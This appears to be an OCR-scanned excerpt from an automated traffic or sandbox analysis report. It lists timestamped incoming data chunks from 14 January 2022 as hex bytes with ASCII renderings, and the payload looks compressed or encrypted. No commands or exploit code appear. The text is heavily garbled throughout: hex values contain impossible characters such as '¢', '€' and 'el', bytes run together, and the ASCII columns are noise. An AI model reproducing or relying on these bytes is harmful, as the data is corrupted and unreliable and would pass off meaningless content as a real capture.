120 9d 6e 28 31 1c 9c 7e le 84 c3 52 a4 b5 85 25 3e be f6 fc ff 25 d7 c1 19 cb 52 0 dd f3 dc 5¢ 42 24 96 f3 95 58 d2 19
5b ca 1f 3f 7b 3c 78 91 05 36 97 d4 1b 29 cb 18 83 ea 70 18 el 47 76 03 7d 58 30 55 f1 78 e0 75 61 5b 51 01 e4 c8 c2 60
ae 59 be 24 8f 9f 91 5¢ 22 ee 91 84 1f 7f 56 7b €0 33 e7 bd 6¢ 51 62 fb f1 93 da 7f 45 59 30 fc c6 22 39 61 5d 96 32 18 59
4e 42 33 d7 09 67 ea ad a7 16 f1 ca 01 57 ed 4a cO
Data Ascii: Zz95?x0!$CL]jz0bCWUAFA[*MkefnP q=x3|,py THi=p W&N>n(1~R%>%R\B$X[?{<x6)pGV}X0Uxua[Q Y$\"V
{3IQbEY0"9a]2YNB3gWJ

2022-01-14 03:59:48 UTC 2521 IN Data Raw: 16 2e 27 67 aa 9c b9 1a 70 25 82 3e Ob 66 1a 04 22 6d 21 7a 65 d1 27 e2 54 5d c0 65 1f 1f 64 f8 f3 87 42 Oc fe
54 38 53 c4 37 e6 86 28 c2 16 f0 f5 fd 32 22 d7 a4 27 cO cb d3 ed 37 el 75 94 41 al 38 b0 70 2b ef 45 5a 35 51 12 2b ce
59 Oc Oc b9 b4 9e 9d ¢3 70 99 19 85 6a 92 44 c1 1f cd 39 b6 dO 8e 79 e0 43 b7 80 2¢ 72 15 89 f4 f4 3d 1b ec cc 25 00 52
03 a2 3e 80 23 d0 a7 5a 15 8c 32 Oe f7 97 5b b0 a4 ce d1 2f 05 02 00 1a bd 12 62 12 6d 1f ef 73 02 Ob de 9d 33 02 83 cc
7d fc 77 6b 3f b9 4d ab 02 91 67 8f b5 cd 12 75 7e 95 36 35 4f 6d 93 76 c6 f1 d6 50 63 71 1a d3 e8 cc ch 89 13 ed df 61 63
cb fd e3 7c 4c a7 b7 36 49 ba a4 c1 32 {7 f3 el 59 b9 1a 18 83 86 bf f7 cf 63 51 e3 cd c0 83 d1 ed 80 17 2b ac 6b 5b c4 Oa
5426 39 €132 ¢4 09 b6 1c 71 bc 4c aa 22 82 ad
Data Ascii: .'gp%>f"m!ze'T]edBT8S7(2"7uA8p+EZ5Q+YpjD9yC,r=%R>#Z2[/bms3}wk?Mgu~650mvPcqac|L612YcQ+k[
T&92qL"

2022-01-14 03:59:48 UTC 2537 IN Data Raw: 59 5e 42 42 4a 04 43 1a ff 8b 4f b2 c7 25 e7 31 2a bl 5¢ 92 4e 36 bf 8d 97 ae 65 d9 5d ff 30 43 c6 0f dO 26 4e
22 9e 2d 40 a4 f0 90 02 1d 1a 9c 4e f8 10 f4 13 ef 74 12 30 42 eb 42 95 99 06 89 ac df 35 53 df 7b e6 dc a2 5a 1c 1a cO 09
71 e4 8ff7 7e 2d d5 72 8e c9 bf 68 d0 51 d6 1c 01 fc 71 00 5d b4 d1 90 e3 10 45 1d 89 c1 05 6d 15 c4 14 ad 28 42 9b el
6f 5f 80 1a ce d6 95 50 a6 3b 92 89 88 7f 63 69 1c dc c1 53 a7 5a b4 30 84 64 0a 3c a9 5e 55 d4 4f 48 5f b3 04 b5 3d 85
00 2a 92 6e 92 26 90 cc dO 1f 08 e4 55 a2 ba 40 4c 08 7a b7 84 ab 77 25 ec cc 17 1d 04 7b b0 26 98 55 14 17 7e ee 06
10 04 9e f2 6¢ 63 23 41 90 48 bb f9 95 31 58 3b bl 81 c3 6e a5 61 41 ba 68 83 de 1a 4d 37 60 a6 15 77 19 87 28 95 5b 23
53 56 da 8f 5a 02 37 5f {7 56 96 62 58 41 5a 7f 22 18
Data Ascii: Y"BBJCO%1*\N6e]0C&N"-@Nt0BB5S{Zq~-rhQqg]Em(Bo_P;ciSZ0d<"UOH_=*n&U@Lzw%{&U~Ic#AH
1X;naAhM7 W([#SVZ7_VbXAZ"
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 2553 IN Data Raw: 79 98 5¢c 00 98 2d 20 16 ce d9 47 01 07 ff e7 81 32 14 07 af 29 33 d2 37 96 94 3f {7 c4 93 bb a3 1f 4d 66 73 49
2e 01 baal 90 55 01 08 1a 24 2c c0 4d 08 54 fb f6 bf 54 91 ae e6 39 d8 87 37 1c 34 da 3d 0f d7 bc Oc fb 31 10 65 9b 08
53 44 8a ed 9f ef e6 57 26 06 83 59 d8 2c 66 53 14 80 3d 06 3d 64 25 d7 Oc 1b 47 dd 78 7a 5d 2f 4a 5b bd 6d 53 cf e8 6d
Oc f1 ce 3a 2a be 68 5b 18 1c 37 f4 e3 8e f7 46 eb 60 1b 2e e5 fe 27 d7 d3 el 12 b9 0f 93 e4 20 d5 2f 7e 71 c2 b5 9c 74 d4
6b 88 1d 72 2c 10 67 df 06 fa ad 16 fa 64 a6 4f 5¢ 8d 82 2e 73 c4 8f b5 1a 6a 28 73 ca c5 2d 2d 72 03 4e 08 54 66 51 eb
83 27 06 2f 8e 24 b9 f9 d8 46 4e 8d e0 f5 34 dd 9a 21 48 8d 78 9b 17 58 3c Of c4 3a cb 7d be e2 cb d7 df 80 0f 39 d3 a7
2d 7c 2f 71 71 cc 07 1e €9 f7 9b d2 f9 91 42 fc a4
Data Ascii: y\- G2)37?Mfsl.U$,MTT974=1eSDW&Y ,fS==d%Gxz]/I[mSm:*h[7F"." /~qtkr,gdO\.sj(s--rINTfQ/$FN4!HXX<:}9-|
/qgB

2022-01-14 03:59:48 UTC 2569 IN Data Raw: 26 c3 0a c2 7e d0 17 93 3e d3 19 87 ea b9 ea 33 78 c0 72 8b 34 6d ac c6 fd 54 fc 43 6¢ d7 de 21 bb 22 79 24
c9 2b 6d d2 57 a8 a5 d8 61 61 c8 42 c7 c8 46 c8 1d 80 94 25 18 94 dO 76 04 ef Ob 12 8b 9d df 1e 00 34 8a e4 e7 ec 2a ee
fO 14 7 cc dc 11 a0 74 fa 69 4d 8e 3c c¢9 d2 f2 eb 8e 56 fb 7c 18 66 66 a8 15 93 bl b4 ce b8 d2 b4 e0 b3 97 28 87 08 d4
2b 4b d1 e4 b9 62 e5 2c¢ 1e 80 59 db 63 50 22 42 15 34 c4 d9 a3 8a 3a 43 d8 71 3a 18 97 b3 Oe 61 6e 25 00 5¢ dc e4 2e
20 d0 50 10 Ob f2 b5 3f 28 15 8f 05 64 94 f9 37 f4 3b 2a d6 3e 5e 67 2a 64 1f e2 79 64 1f f6 27 c1 22 d5 41 6d cd 93 2c 88
a7 c4 f3 1f 7d 30 94 a7 0d 37 19 64 68 51 96 b3 25 28 9e 20 2f 35 eb f8 89 f9 d3 ad 24 9¢ 89 dd 20 c1 54 04 ce 81 47 71
48 41 8e 85 63 5d 7e d8 19 7b 46 3f 1f 08 ee ec 8f 3a de
Data Ascii: &~>3xr4mTCl!"y$+mWaaBF%v4*tiM<V/|ff(+Kb,YcP"B4:Cqg:an%\. P?(d7;*>"g*dyd™Am,}07dhQ%( /5% TGqHACc]~
{F?:

2022-01-14 03:59:48 UTC 2585 IN Data Raw: df 2c 31 3b 5b 8e ef 66 dd 43 fO 7e 91 ce 9b 80 8f a6 62 29 fe 34 59 9a 48 86 98 8e ba 9b cd 90 7d 79 24 58 72
c1 19 6¢ 17 aa 86 c2 e5 da 9b 6f f1 c9 08 ef 64 84 cc 27 41 9e d1 20 02 ae fe b3 51 6¢ 1a el 1e 61 fb 4a c8 91 3 b8 09 dd
8d b2 €9 58 b9 9c af ba 12 a9 61 93 6e 3a al 67 92 cf dO c2 f1 63 53 a6 28 6a 2b 09 f2 6a dd 43 eb a2 b3 Oc 7d 49 29 c3
46 d7 a3 cf 76 ca 54 07 97 96 6¢ 43 9c bf a3 42 cb 8f 35 39 45 e8 17 6d 83 71 d3 fd 3b 8b ce d9 64 fb b5 ea 3c fe €3 2e 8a
d1 47 16 Oc f7 62 a8 75 66 29 {7 7 f9 4f d1 ad 72 2d 46 b9 b0 cf 17 37 c0 14 9a 73 1d a3 76 57 Oa c6 6e 41 95 8c e5 28 6d
d4 81 b9 32 21 56 2c ba 67 c4 b9 86 8f ac 61 3c 48 19 3d a3 0f 17 fb ba 33 5f d3 10 22 4a 94 5d e9 4c 45 a0 8b 04 77 fe
ba d9 0d 11 45 57 94 f4 Oc 3f 87 44 2e 90 07
Data Ascii: ,1;[fC~b)4YH}y$Xrlod'A QlaJXan:gcS(j+C}H)FvTICB59EmQ;d<.Gbuf)Or-F7svWnA(m2!V,ga<H=3_"JJLEWEW?D.

2022-01-14 03:59:48 UTC 2601 IN Data Raw: 38 ea a9 7c 66 40 25 c0 ca f0 89 ee c7 2e 1c f7 21 d2 68 80 aa 49 44 06 e7 df 1d 80 37 a4 b0 76 1b fc 1d de 55
99 00 d7 49 fa 8a 2c 8c 51 fa 10 f4 98 1a 33 1a c2 5f ad 14 €9 b8 32 64 7a d9 5a 9e 57 4e ea ff 90 04 86 cf 69 58 b5 ac df
c8 f0 e3 Oe 73 8e 1f 4¢c 8f 88 b0 71 b8 a5 4b 2b 3e 3b b1 9d e2 9e 06 4c 7f 65 48 a9 73 1b d9 67 54 93 f8 1f Oe 76 02 7d
b5 7d 53 51 70 ed bc 7 97 83 55 b3 ¢3 35 ba 37 21 05 74 58 ef 0e 29 94 e5 25 ac a6 €9 1e c¢7 51 a7 b2 67 35 40 e6 39 12
8f 97 42 89 67 a3 4c 53 f5 d4 08 cb 8e 1a a0 5a ca db ca 9a 28 a5 89 41 4c f8 3e 58 7d b9 6e 7d 4a 2a c8 95 fc f6 d9 d4
b7 c9 a5 67 d2 el 40 d7 21 b3 b7 30 €8 0f 27 d6 al 46 3c 74 eb b7 5a 3b 10 el 54 €9 77 a6 d9 ea 04 08 92 d4 eb 54 da 7f
d1 c1 82 8b 52 05 66 0b c6 f3 3c d0 96 ac 40 69 2d
Data Ascii: 8|f@%.!hID7vUI,Q3_2dzZWNiXsLgK+>;LeHsgTv}}SQpU57!tX)%Qg5@9BgLSZ(AL>X}n}J*g@!0'F<tZ; TWTRf
<@i-

2022-01-14 03:59:48 UTC 2617 IN Data Raw: f1 7c 11 2b b0 79 Oc 5b c1 01 68 4a 1a €2 46 ac 8e 90 b9 d7 87 ec cc 31 3e 99 62 4f 88 bb 00 17 53 77 1a 8f
a4 9c al b6 c2 51 bb dc 75 59 66 0b 50 2b 4a €0 ff €3 ee b1 36 11 4e 83 51 be 01 b2 27 67 bf db 7b 5a c1 f4 90 €9 13 f4
bd 02 92 56 58 c5 93 c1 2f 8¢ fb 3b 58 a2 fO fO c4 67 6d ef 2e ed al e7 58 7f 67 2f 21 c¢5 90 4a de 94 b6 a4 12 aa 65 18 f2
56 cf bl 46 15 51 93 0a 8d 3b 37 89 d1 75 da b1 37 29 48 54 55 da 09 07 ce cd d7 3a al d6 fa 88 bc dd 83 98 c4 ec 04 d6
aaeb 72 e7 1a8e 4b d2 85 13 el a9 f8 83 c0 a5 8¢ 6f el c7 be 07 e5 a3 43 0f 1a 92 36 68 db c5 af c1 cd 32 02 91 3f aa
5b 9¢ 5b 90 c0 62 41 74 a0 a2 03 d1 e5 94 ea 41 55 b5 d2 56 16 dd ed 42 31 46 3b e6 e7 6b c1 c7 89 06 ae 3c b4 e6 c8
1792 95 89 16 07 e7 f2 68 4a 32 3e 47 8e 4b el al 0d c9
Data Ascii: [+y[hJF1>bOSwQuYfP+J6NQ'g{ZVX/;Xgm.Xg/\JeVFQ;7u7)HTU:rKoC6h2?[[bAtAUVB1F;k<hJ2>GK

2022-01-14 03:59:48 UTC 2633 IN Data Raw: db 75 1e b1 0f dO 77 eb a9 bb cb ad 8d da 19 32 77 8a a3 17 d9 dc 14 9c 48 17 80 5a 89 9e f1 5e 68 cb 6d bb
89 9f 8 f9 95 3¢ 30 71 3d 3e 32 bc 71 5d 9b e5 82 28 13 6a 5f 9a 65 d2 da bc 13 1b 4e 2e 9f 1e 5d e7 a9 d5 d3 4d 51 93
2 4d 3a 32 14 4e 48 4d f6 d8 7e 76 b8 b1l 6f 15 2e e2 55 96 €5 61 bb 7f b9 b1 01 00 c3 al f0 12 99 b2 cf 48 c2 d3 d3 56
7794 16 c3 31 fc 46 81 c4 60 54 4c dc 35 e7 66 38 25 f1 9b bb 9f ab 1b 83 4b 2a 10 db cc ba e8 06 d1 aa 09 12 04 7c 34
b5 8a f9 5b 38 8a 30 c1 d3 33 8e 92 a0 c8 02 f6 12 5e 01 b2 93 b4 dc ce 4d ef 48 92 63 91 18 39 a8 b7 e6 a9 fc 11 9e e0
01 2a e8 03 32 8e dd 87 06 db 2a da 33 87 6¢ 83 bf c2 21 6¢ ba 08 22 77 eb ¢7 c2 81 a7 0a 73 36 cc 22 ca ed d1 7b e6 22
2b 09 al 46 db 22 59 29 03 6a 13 18 fe 3e e8 ed ¢4 5d 73
Data Ascii: uw2wHZ*hm<0qg=>2q](j_eN.]MQM:2NHM~vo.UaHVw1F TL5f8%K*|4[803"MHc9*2*3llI"'ws6"{"+F"Y)j>]s

2022-01-14 03:59:48 UTC 2649 IN Data Raw: 41 60 cc df 98 €3 60 66 da 17 5c 59 40 f3 a7 56 dc b6 1b ef a8 5a 97 09 4c ed ab db 5e 4f 2d 70 78 75 16 63 2f
08 ce 13 f7 58 73 a2 6d 5d d0 eb a8 ea c8 f9 68 d7 ec 5e 66 05 ba 45 5a 74 f1 9c 93 1c Of e8 1f 19 a9 b0 44 0f 64 ee e6
34.¢7 91 1c 9d 98 b0 31 ea 02 24 9d 4 7b ce d4 d6 b0 61 58 e5 2e 05 36 63 cO 1b 32 42 1c bc f2 a3 a7 ba 62 0b 47 81 0d
7a 99 da 1e ca ad 36 ff a4 fc 29 24 18 4a 2d 5d 8d d5 90 d3 4f b0 05 27 bb be d6 41 64 86 f4 64 9c 7f 18 cb ec €8 4e 2a
83 13 9e 55 6d 24 bb bl dc 5b a9 66 8d 5f 29 0f 58 47 78 4¢c 43 72 c2 ad 3e 3a 17 75 c6 75 2f 75 9f 24 31 be 6d e5 cf 3e
a2 c6 50 e8 15 fc 04 96 bf 10 Ob b4 9f 82 1b 69 9a 9c b8 d1 b9 Oe 39 26 5e ed 67 d4 Oe 57 5f b7 14 19 53 52 0a 93 87 84
dd ac a5 04 d3 d8 48 24 47 33 53 7e 34 f2 ab 94 ef df
Data Ascii: A f\Y @VZL"O-pxuc/Xsm]h"fEZtDd41${aX.6c2BbGz6)$J-]O'AddN*UmS[f_)XGXLCr>:uu/u$1m>Pi9&" gW_
SRH$G3S~4

2022-01-14 03:59:48 UTC 2665 IN Data Raw: Of 16 5b 44 e3 7a 82 3c 86 0a 2a 92 1f 3d bd 9f bb ec 7d ¢4 3b 47 24 9c 07 2a bf 00 2a b2 97 b4 04 c5 f9 d3 95
ed df 76 8e fe 95 9e 20 4c 3c 90 c1 47 7f f2 ac €2 7a cb Ob 06 50 4b 35 1c a2 la ea 4e c¢9 b7 a7 10 03 3¢ 51 09 f4 01 2¢ 9¢
56 bd b2 be be 30 5¢ eb b0 3e 85 58 12 94 5a 05 38 fa Oc 4b 03 6a €8 24 a2 ee 6 8d 72 05 08 40 74 05 7 96 90 4b 93 08
65 2a 00 35 8f 5¢ 09 9c d6 44 40 2¢ 09 99 c0 Ob b5 13 65 97 58 ff 5b €8 b5 1c bd 3a c4 6e e2 1d al b3 3e 33 a2 9d 8b 3b
Oc 31 2d 63 a8 d3 a9 c4 7a ad 5¢ 8e f2 f4 1a 6a 41 16 3d 21 87 3a 81 25 56 02 df 58 36 ba 5f b9 84 75 b5 c9 cc 92 a7 03
7e aa 4e 8e ea c7 3d 25 bb a6 b8 d4 96 4f 78 11 2f 80 8a 98 12 fc f9 7e d5 4e eb aa 70 69 19 eb c7 05 c0 c9 4c f4 47 90
Oe 66 34 3c a9 d5 aa 35 ea 4f ¢7 20 f5 83 94 c4 df
Data Ascii: [Dz<*=};G$**v L<GzPK5N<Q,VO\>XZ8K|$r@tKe*5\D@ ,eX[:n>3;1-cz\]A=!:%VX6_u~N=%Ox/~NpiLGf4<50

2022-01-14 03:59:48 UTC 2681 IN Data Raw: ef 85 43 ed 8b 2b a7 53 64 7f 1b 25 3f 41 59 d2 a7 17 e5 fO dc 12 3e 31 bf b8 ca c4 7e e7 c5 56 37 ec 4f c4 a2
57 ee 4313 55 ca 6¢ d9 b5 37 d0 ad c2 53 42 9a e6 1b f2 88 78 a5 41 84 52 6¢ 87 17 d8 48 f5 f6 48 e2 79 27 42 d7 9f 26
el cl 4166 1b 59 d6 3c 3a 8e bc dc fa 2f 1f e3 ff 01 cd 26 2b a8 f1 a9 82 14 8d 96 f1 cc b7 65 d1 c9 d5 4e 1a d8 85 74 13
ef 04 cf 29 ec 56 4e e2 12 ff 5¢ 3a 55 f3 5b d0O cb d3 d3 d3 66 8b b7 24 48 8f d1 c2 47 ¢3 2b f1 77 20 10 26 76 55 09 da 7a
9f 65 d3 fd 00 5d 63 6e 75 23 ea f8 13 fc ef 68 e8 54 01 54 8f f2 73 06 11 f2 6d 48 2d 3b d9 9a f5 bb f0 17 cf 26 2f 09 a2
02 54 2e 57 cf €9 34 9e 2e 0d dd de 92 dd 3e 93 6f 52 38 50 b8 37 22 f2 6a 51 f9 7f 12 a5 6e e6 09 2e 69 47 7a 18 65 5
1c fc ef 96 4d 21 1e 8e 2d 58 86 b5 5f 25 2b
Data Ascii: C+Sd%?AY>1~V70WCUI7SBXARIHHy'B&AFY<:/&+eNt)VN\:U[f$HG+w &vUze]cnu#hTTsmH-;&/T.W4.>0R8P7"
jQN.iGzeM!-X_%+
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 2697 IN Data Raw: el 01 Oa 52 77 fd 5e f4 eb a2 7d db e7 33 aa 5f b7 c7 Oa cc eb 15 a3 91 ab 33 28 d5 36 30 7a ae 43 cd 10 c3
b3 c2 d7 4b 82 11 8c ad 12 fb 7a 82 13 9b 24 15 c2 24 2d e2 e4 18 7d 31 90 fc 2f 9f 8c 7d 4b a6 6¢ d8 al e8 44 d2 66 29
0276 19 d3 60 22 13 71 ca b9 8e ea cd b3 ef 91 4f 22 e5 44 11 42 90 7f 27 74 68 ad a6 bd 1b 26 c4 3f 46 74 3 6f ec 4c 26
bf 7c f6 7c 66 el Oa 4e 6d 90 c2 bb 6f 58 28 08 3a d4 81 7d a3 ed 3c 38 26 e4 a6 99 3b c6 b7 ad 92 db 6d 37 7f a5 56 aa
44 90 6a e2 f5 ef 55 ea 22 1a 21 7a b0 c0 7a 67 1d 53 73 59 c4 5e 7d 77 dd ef f7 55 c4 67 bb 88 fc 31 b8 90 Oe f4 06 32
0b 8b 37 b0 54 5d 9d ee ce 8d 61 61 58 54 7b 9d eb 4f 62 fb bc ba 08 76 65 c6 da 0f 25 e4 cb c0 8b 9c b6 26 97 22 89 e8
24 65 dc 92 eb c7 1f f3 7b 87 b4 63 27 61 45 d2 a0 64
Data Ascii: Rw"}3_3(60zCKz$$-}1/}KIDf)v "qO"DB'th&?FtoL&|[fNmoX(:}<8&;m7VDjU"lzzgSsY lwUg127T]aaXT{O
bve%&"$e{c'aEd

2022-01-14 03:59:48 UTC 2713 IN Data Raw: €9 82 04 f4 03 76 84 ef b4 56 51 c1 24 02 85 36 ac 8b 00 f2 59 1d 46 d8 2f 4b Ob f3 70 95 84 ef fa 7d 67 fe 1a
56 74 09 3 18 b5 60 eb 50 58 50 b4 50 42 17 d3 8d 4b 5c f6 af 38 eb 8d b7 e2 06 67 1e 17 7b 06 35 60 64 55 ec ae fO 8e
b8 45 03 ae 12 77 13 96 a9 23 25 d0 ¢7 00 8a 62 ca 79 57 d2 13 70 77 b9 1c 5f 94 35 a0 ed 8a 73 58 63 73 02 14 6¢ f2 85
77 2100 2a 17 33 4c eb 26 be a2 Oc 4b 93 64 Oe f2 92 47 5f 8¢ 10 a7 cd 4f c2 84 bb ff 7b el 63 36 45 9e 7d 96 51 06 3d
96 66 81 d6 1e d6 24 45 d8 d3 ce bc 04 80 46 68 af 8c cd 34 49 30 77 a5 8e b6 20 a2 71 eb f6 75 €7 c6 9a 37 eb 7a e7 2e
02 e0 b0 38 68 08 ef e4 ae c7 a4 7d f8 f6 c6 7d 19 da ff a8 a9 4d 77 1c Oe ef d6 14 e6 4b ea 28 c8 f6 f2 09 c9 f3 76 f2 e6
15 a0 50 f7 a9 c2 92 1b fa 6a 7d 58 c7 al 35 cc 64
Data Ascii: VWQ$6YF/Kp}gVt PXPPBK\8g{5 dUEwW#%byWpw_5sXcslw!*3L&KdG_O{c6E}Q=f$EFh4I0w qu7z.8h}}MwK(vP
jIXsd

2022-01-14 03:59:48 UTC 2729 IN Data Raw: 28 ce ca d7 8d 0d d0 2d 49 e3 11 c0 21 09 1f 80 €3 c8 00 76 al 2e 19 8¢ 9d d7 13 34 ce c¢7 2a b0 c8 62 ca fb
d9 47 2c d0 23 84 72 e7 ff ff 8e 58 b2 7e d7 a9 9b 93 7 31 bc 8f 17 d4 fc 45 e2 09 07 92 4c 6b e7 4f 42 f7 30 83 71 d3 97
86 8f a7 4f 15 d7 58 18 81 af 50 9d c2 9f 8d 2c 5f b7 80 86 7e 88 ca d2 d6 2d fa 6e 1d 67 98 35 €0 8e 68 ca 17 c3 2¢c 41 93
€0 a0 d7 3a b8 91 a3 f1 d0 93 08 88 8d €9 25 9b 29 1a 59 c6 dd f5 Oc b9 c8 Oe 87 a4 f9 c3 b1 9f 5a 7e 80 80 69 cd fe 3b Of
7e 56 be 31 fb 96 d3 92 7 fd 4d 17 35 9f Oc e4 8e ab 95 4b al 5f 7c 9a 73 a9 16 44 b4 6f 78 1b 7e bd 7d 9b 80 37 6e Oe
85 b1 84 74 31 36 1a bd 39 95 42 el d1 5¢ fb 78 ed 6e 7e 84 f4 ba f6 11 6f 1b 13 €7 ¢3 bd c5 cc 4b dd 0f 11 b1 71 d5 51
11 4c 70 8b 26 f2 af 56 26 f1 7d 77 cc fc dc 17
Data Ascii: (-1'v.4*bG #rX~1ELKOBOqOXP,_~-ng5h,A:%)YZ~i;~V1M5K_|sDox~}7nt169B\xn~0KqQLp&V&}w

2022-01-14 03:59:48 UTC 2745 IN Data Raw: 2a 47 ¢5 71 d1 ca 39 0d d2 f7 33 00 f5 d5 b5 69 el cc 61 c4 6a 55 76 4b 25 74 73 50 91 5¢ 91 05 88 36 40 93
f0 62 de 11 88 8d c4 65 2d 9a d0 d4 dd 68 a4 bb 17 4b 86 e3 ec 18 b5 8f c2 2e a2 2b e4 9d 44 d2 93 97 09 f3 6¢ 92 42 04
11 3b f8 45 b1 fb 7e 6¢ c5 98 51 26 ab 41 24 04 92 70 8e da 91 f5 ea 4d fe ad 81 6¢ e5 9d 63 dd f2 f5 68 63 ac e5 39 c9
e2c27c5eeb 1051 d3 chbae 84 el Ob a9 cl e3 42 a4 6e d6 d3 7b 74 01 16 98 b4 bb 47 2e ba da b7 d5 68 a8 98 €3 a4
5f 68 5d b0 1f fc 1e 46 12 cd ca 2a 9b 46 1c Oc b4 09 9a 55 53 14 d0 c9 12 90 f1 6f Ob 2e 50 d5 9e Of 5e 7d 42 cb ca e8 {3
23 1d f0 93 f1 dc f7 a8 c3 ee 5a e5 fc 60 68 44 86 5¢ 50 7d 9c 3d c9 82 f9 3d e0 15 70 04 1c 5¢ 4f 89 19 96 99 a3 45 d3 c2
d5 8b 89 f5 67 7f 6b Ob ca ff 2a 10 d1 fc bf 46 f9 35
Data Ascii: *Gg93iajUvK%tsP\6 @be-hK.+DIB;E~IQ&A$pMIchc9|*"QBn{tG.h_h]F*FUS0.P }B#Z hD\P}==p\OEgk*F5

2022-01-14 03:59:48 UTC 2761 IN Data Raw: d3 4b 71 dd 91 77 5a 99 fe 42 46 cb f4 ed 87 3c 85 4c 2c Oe e5 cf 4a b5 37 b7 3a ec 65 71 e0 ad 77 28 ac 5e 6f
a4 bf 3b cc 9a 13 e5 fc 57 f5 b2 66 4a 6b €8 01 36 9f 6b dc 71 9e 7e 36 c6 2e 4e 3d fO cf aa 4c 3a f2 3a b8 3a 5f f1 31 72
fd 7d 72 52 ec 97 cc df 79 d4 a4 1le d9 ad a2 f1 ee 54 b3 89 64 6a 06 12 ea d7 2d 86 66 38 21 b3 38 67 06 3e 14 86 71 55
al 8a 54 f7 48 91 82 fb 88 bb d4 f3 e2 8e 49 e9 95 1c 79 1d 23 c2 ec f1 6d 6b 1f 11 03 68 63 3e 71 cb 67 b4 5b d8 76 d4
06 ed 62 1f b3 99 90 Oc 61 87 42 d7 ac 6f b4 5d f7 el 78 01 7f 47 25 e8 79 69 66 b5 f2 9a 0d {7 db fa 2e 6d 8a e9 03 67 c6
b5 79 2f 18 a7 fe 78 21 ec 39 28 40 73 6f dd 7c 1le 08 1c 37 a5 e5 14 c4 Ob f3 4c bc 5d 99 9a 95 77 fe a4 58 45 6b 1c bc bz
42 22 d8 db 43 a2 97 17 62 96 ee c9 11 9d 49
Data Ascii: KqwZBF<L,J7:eqw("o;WfJk6kq~6.N=L:::_1r}rRyTdj-f8!8g>qUTHIy#mkhc>qg[vbaBo]xG%yif. mgy/x!9(
@so|7L]JwXEkB"Cbl

2022-01-14 03:59:48 UTC 2777 IN Data Raw: 53 f4 56 99 30 4e 17 6d 37 ec ba 90 5c 5b 2e bc 47 22 f0 3b f9 6¢ e2 ef e3 b9 3a 5e 9c¢ 3a 50 12 e8 85 a2 5f d3
b6 79 40 Ob a8 fd 1d 89 d6 29 a4 9c 22 22 2a 15 Ob Of 77 b4 13 83 b8 f9 8e b0 cf 80 ed 1a cb 57 8¢ 3 c6 bd 80 2b 4e be
45 2599 47 ea 05 52 2c 12 a0 af e9 3a c8 ca 33 ¢5 9d ¢4 cd 63 fd 5¢ 81 ea f4 6¢ 86 fc 63 8d d9 91 82 63 3b 8d 9f b8 83 c1
d5 e0 84 b6 7e 3a ed c3 79 3f 28 51 3f 62 a2 aa af ae 27 4c a0 1d 9d 70 5d 10 9c 55 cf 75 ¢8 2d 70 ee c7 f3 1d 44 60 cb
2889 d1 0Oa e8 e3 b6 6a 1f 51 46 f8 66 fe 9c 2d 84 f9 ab 71 a5 ce d6 91 67 69 06 58 66 fa 4a fe 50 87 33 97 04 f4 d4 19 la
1913 26 la aa 76 3b €9 c5 89 c0 48 c7 73 bb e4 34 7c e7 4c 5d 45 82 8d 15 27 el 4c 04 97 17 de ee 68 5f b4 43 93 d9 5a
77 07 3b 87 d6 d4 10 03 a3 3f 70 53 6e f8 07 3c
Data Ascii: SVONm7\[.G";l:*:P_y@)""*WW+NE%GR,:3c\lcc;~:y?(Q?b'Lp]Uu-pD’(jQFf-qgiXfIP3&v;Hs4|L]E'Lh_CZw;?pSn<

2022-01-14 03:59:48 UTC 2793 IN Data Raw: a0 24 ed f6 c6 91 33 f5 14 45 71 f6 b2 ed 86 b7 52 ba ee b9 2c 7e 1a 41 7b ac 8a 85 82 57 1a fa 5f 4f f9 e8 35
fd 91 Ob fa 11 49 f6 98 bf f0 29 36 cb 8e c7 b6 1a 71 f3 c4 b5 c1 09 5e db 49 25 9e e4 00 ec 6d 5a a5 16 74 Oa eb d7 ec de
2f 84 30 7d 2e 17 74 ce 72 ae f6 a5 f6 bb cf 9a ac 1a 31 6¢ c2 6¢ f1 8f 2f 8e 61 26 f9 ed b1 66 ad a6 d3 c0 9b 61 a8 08 92
c2 0e 4e 3b a3 06 1c c0 66 a7 95 f1 3e 75 75 b8 01 a9 a8 49 al ef 52 90 bd 51 00 44 be ba 98 d7 50 7a a8 7f ce 5d c1 97
0Oa 1d 5b e8 a3 57 03 d2 55 81 d2 65 al da e5 b2 fO 6b de 82 a4 66 58 d4 6f d1 a9 ba 99 90 4d c2 f8 7e 13 bd 4a 58 15 48
39 78 e4 b9 6a d8 7e 85 2a c0 09 0d 9c a4 04 88 e8 1a 6e ec a9 82 fe 0f 3b 11 d9 41 Oc e5 cc a6 16 f2 dd d5 89 42 91 b8
a8 7a c8 60 c1 f1 27 83 da 27 d4 6a ca f3 8¢ d4
Data Ascii: $3EqR,~A{W_051)6q"1%mZt/0}.tr1ll/a&faN;f>uulRQDPz][WUekfXoM~IXHIxj~*n;ABZ ™"

2022-01-14 03:59:48 UTC 2809 IN Data Raw: d3 22 4c 4d bb 76 ad 1f 25 7c 15 df 5a 93 54 cd ff 78 96 96 be c7 bf ed 3b 86 e5 d0 e3 8a 8d b6 e5 al 8e 9c c6
a7 1f db c5 72 5¢ 5f b3 f4 2e a9 33 6a 40 fe 6¢ f2 01 4a 15 78 c0 07 35 f1 €0 4f 6d a7 €6 c8 2d b3 8a d4 €9 eb 14 a2 e5 03
b6 12 3a de 8b cc 63 17 a3 a8 65 9c 06 4e 27 45 fd a3 20 c1 60 36 Oe bf b4 c2 f7 92 b0 8c 47 2d 30 28 ff 61 97 e3 df 7a 96
b9 51 49 e8 35 5a 22 9e cb 14 fb 83 8d 5a 0d 13 f6 4e ec b1 39 05 e4 4e c4 63 d7 32 ff 33 50 ed 2¢ 9d 51 88 61 33 70 a5
ae 1c 3e 84 f2 2e a4 Oe 56 b8 4c e5 29 31 09 57 eb df d4 e4 b7 fd 6 31 65 19 96 62 2d 6a 4d 37 e7 2b ba e9 59 ee 9e 82
af 53 dc 62 d7 e4 7d c4 8d a3 d3 bf b4 8a 21 44 10 ba 16 8a 28 59 5d 4b Of 4c a8 49 ac 63 91 c4 16 48 66 9f 14 02 e9 2a
19 2c fe 97 76 7f 33 58 ab f5 5a 9a 1f 36 49 2b
Data Ascii: "LMv%]|ZTx;r\_.3j@1Ix50m-:ceN'E "6G-0(azQI5Z"ZN9INc23P,Qa3p>.VL)1W1leb-jM7+YSb}D(Y]KLIcHf*
,V3XZ61+

